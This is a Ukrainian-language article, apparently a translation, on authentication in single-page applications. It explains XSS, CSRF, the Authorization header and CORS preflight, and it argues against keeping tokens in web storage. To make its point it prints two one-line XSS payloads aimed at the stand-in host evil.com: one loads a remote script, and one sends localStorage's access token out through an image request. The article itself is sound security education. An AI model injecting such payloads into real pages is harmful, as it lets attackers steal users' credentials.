Аутентифікація в односторінкових застосунках. Частина 1.

7 хв. читання

Популярність односторінкових застосунків зростає щороку. Навіть якщо застосунок і не на 100% односторінковий, кількість функцій, що базуються на JavaScript, невпинно росте.

Під аутентифікацією ми маємо на увазі підтвердження особи користувача чи достовірності запиту. А авторизацію слід розуміти як дозвіл на певну дію (наприклад, на доступ до певних даних). В цій статті ми більше сконцентруємось саме на аутентифікації.

Поширені види атак

Веб застосунки часто страждають від різноманітних атак. Серед них:

  • Обхід аутентифікації:
    • Міжсайтовий скриптинг (англ. Cross Site Scripting, XSS);
    • Міжсайтова підробка запиту (англ. Cross-Site Request Forgery, CSRF);
  • Крадіжка або підробка даних для аутентифікації:
    • Міжсайтовий скриптинг (англ. Cross Site Scripting, XSS);
    • Зловживання кукі через переповнення кукі;
    • Підробка кукі через редірект із HTTP на HTTPS;
  • Використання специфічних для застосунку чи протоколу багів для аутентифікації.

Для нашої теми найбільшу небезпеку складають атаки пов'язані з обходом аутентифікації, тобто XSS та CSRF. Розглянемо їх детальніше.

Міжсайтовий скриптинг

Міжсайтовий скриптинг (XSS) — введення шкідливих скриптів в безпечні та надійні сайти.

Способів міжсайтового скриптингу є два: введення скрипта в дані, що зберігаються на сервері й потім відображаються в клієнті (Type-I XSS), або введення скрипта напряму в запит і спонукання користувача зробити такий запит (перейти за посиланням чи подати форму) (Type-0 XSS).

Часто вважають, якщо на вашому сайті завівся XSS — це кінець. Пояснюють цей факт тим, що XSS отримує весь доступ, який має додаток. Але не всі вразливості міжсайтового скриптингу однакові. Потрібно пам'ятати про наступне:

  • Складніші XSS атаки вимагають більшої кількості коду
  • Серйозність атаки залежить від того, хто в даній ситуації є першою (користувач) та третьою (нападник) особою.

Серйозність атаки та кількість коду

Для виконання запитів, створення фішингових форм та інших атак необхідна певна кількість коду. А вразливість додатка не завжди дозволяє ввести в нього ту кількість коду, яка зможе створити серйозні проблеми. Хоча можна завантажити зовнішній скрипт через один рядок JavaScript коду:

document.body.appendChild(document.createElement('script')).src = "http://evil.com/0.js"

Але для подібної атаки необхідно більше ресурсів і зусиль. Те саме можна сказати і про складну логіку, котра вимагає взаємодії із сервером нападника і додаткового серверного ПЗ. Не завжди ціль виправдовує засоби. Серйозною атакою може бути викрадення облікових даних через один рядок коду:

document.body.appendChild(new Image()).src = "http://evil.com/0.png?_=" + localStorage.getItem("accessToken")

Тому, не варто зберігати дані для аутентифікації у веб-сховищі.

Також, можна уникнути деяких атак, обмежуючи доступ до певного IP (для якого був виданий токен автентифікації), або ж випускаючи короткострокові токени, які не читаються в JavaScript. Втім, такі заходи безпеки не допоможуть, якщо зловмисник докладе більше зусиль.

Серйозність атаки та обсяг відповідальності

Третя особа повинна бути зацікавлена в проведенні XSS атаки.

Обсяг відповідальності — це кількість відповідальності та можливостей, надана тій чи іншій групі осіб у застосунку. Прикладами таких груп можуть бути: розробники, адміністратори, модератори, користувачі, просто відвідувачі.

Загалом вважається, що розробники, адміністратори та інші співробітники компанії-власника застосунку не зацікавлені в проведенні атак, остільки їх робота полягає у підтримці справності системи.

Візьмемо, до прикладу, два сценарії атаки, у першому з яких адміністратор може ввести скрипт будь-якому користувачеві, а в другому користувач може ввести скрипт в панель адміністратора через користувацький вміст. Другий сценарій є значно небезпечнішим, оскільки користувач може отримати права адміністратора, в той час як адміністратор і так має доступ до даних користувача.

Часто, внутрішні системи захищені фаєрволом і доступні тільки певній групі людей. Наприклад, система управління вмістом може бути доступна лише декільком адміністраторам, а тисячі користувачів відвідуватимуть цілком окремий застосунок з можливістю лише переглядати дані (як от на сайті новин). Такий підхід використовувався на одному з проектів, де були розроблені окремі адмінки для адміністраторів ресурсу та зовнішніх користувачів.

Оцінюючи серйозність XSS, важливо брати до уваги обсяг відповідальності, оскільки він може сильно вплинути на серйозність атаки, кількість ресурсів і зусиль для її проведення, а також загалом на архітектуру застосунку.

Заголовок Authorization

Authorization заголовок HTTP запиту, мета якого — надати дані доступу в запиті. Виглядає він так:

Authorization: <credentials>

Де credentials може бути будь-чим. Однак, щоб відповідати іншим наявним стандартам автентифікації, рекомендується використовувати формат:

Authorization: <type> <credentials>

Одним з найбільш поширених у власних реалізаціях та в OAuth 2.0 є

Authorization: Bearer <token>

Якщо токен використовується в односторінковому застосунку, зазвичай він зберігається у веб сховищі (англ. «Web Storage», напр. localStorage і sessionStorage).

Чи достатньо Authorization: Bearer <token> для захисту застосунку?

Безпека є доволі складною темою, тож не можна зі стовідсотковою впевненістю сказати, що застосунок у повній безпеці.

Для аналізу того чи іншого підходу ми повинні зробити наступні припущення, щоб бути в змозі зосередитись на ключових аспектах підходу, що розглядається:

  • Всі токени є криптографічно захищеним випадковим набором знаків (або такими, які неможливо підробити чи вгадати на практиці)
  • Всі запити відправляються через захищені TLS/SSL з'єднання (HTTPS) і не можуть бути перехопленими
  • Логіка застосунку та реалізації протоколів працюють бездоганно і наслідки будь-яких помилок в них виходять за рамки цієї статті

Хоча навіть стійку криптографію можна зламати, це вимагає настільки значних ресурсів, що займатись цим на практиці просто марно.

Повернемось до загроз, описаних на початку статті. Оскільки ми фокусуємось на заголовку автентифікації, загрози пов'язані з кукі ми розглядати не будемо. Серйозну небезпеку для нашого застосунку можуть становити тільки міжсайтовий скриптинг (XSS) та міжсайтова підробка запиту (CSRF).

Заголовок Authorization та CSRF

Міжсайтова підробка запиту (Cross-Site Request Forgery, CSRF) — атака, яка змушує авторизованого користувача виконувати дії, які він не збирався виконувати. Це може бути переказ коштів, зміна паролю, покупка певного товару тощо.

Але як дізнатись, чи заголовок Authorization відправлений з небажаним запитом? Варто звернутися до стандартів, де детально описано які дії може виконувати браузер.

Згідно з W3C, «Простий міжсайтовий запит» визначений, як відповідний будь-якому, що може бути створений наявними браузерами, які не відповідають даній специфікації (тобто не підтримують CORS, прим. перекл.) (A simple cross-origin request has been defined as congruent with those which may be generated by currently deployed user agents that do not conform to this specification.)

Тобто «простий міжсайтовий запит» ідеально описує запити, вразливі для CSRF.

Згідно з специфікацією:

  • «Прості методи» — GET, HEAD, POST.
  • «Прості заголовки» — Cache-Control, Content-Language, Expires, Last-Modified, Pragma,
  • Заголовок Content-Type з будь-яким зі значень: application/x-www-form-urlencoded, multipart/form-data, text/plain

Заголовок Authorization не входить у список «простих». Таким чином запит з цим заголовком не є "простим міжсайтовим запитом" і вимагає попереднього запиту підтвердження (preflight request). Тільки явним чином дозволені сайти в змозі робити такі запити. До тих пір, доки на сайт не дозволені запити з усіх можливим джерел (з допомогою заголовку відповіді Access-Control-Allow-Origin: *) сайт убезпечений від CSRF при використанні заголовку Authorization.

Заголовок Authorization та XSS

Якщо заголовок Authorization використовується для автентифікації, облікові дані мають зберігатися в сховищі доступному для JavaScript. В іншому випадку, користувачу доведеться знову авторизуватись при кожному перезавантаженні сторінки. Де б ми не зберігали облікові дані (веб сховище, кукі, IndexedDB, та ін.), вони будуть доступними для JavaScript, а отже і вразливими до XSS атак.

Якщо ви працюєте над простим додатком для обмеженої групи користувачів, заголовок Authorization буде вдалим рішенням. Але якщо потрібен вищий рівень безпеки і ви хочете максимально захистити дані користувачів — варто розглянути більш надійні засоби безпеки.

Детальніше про них, а також про застосування в односторінкових застосунках буде викладено у другій частині статті.

Помітили помилку? Повідомте автору, для цього достатньо виділити текст з помилкою та натиснути Ctrl+Enter
Codeguida 5.8K
Приєднався: 8 місяців тому
Коментарі (0)

    Ще немає коментарів

Щоб залишити коментар необхідно авторизуватися.

Вхід / Реєстрація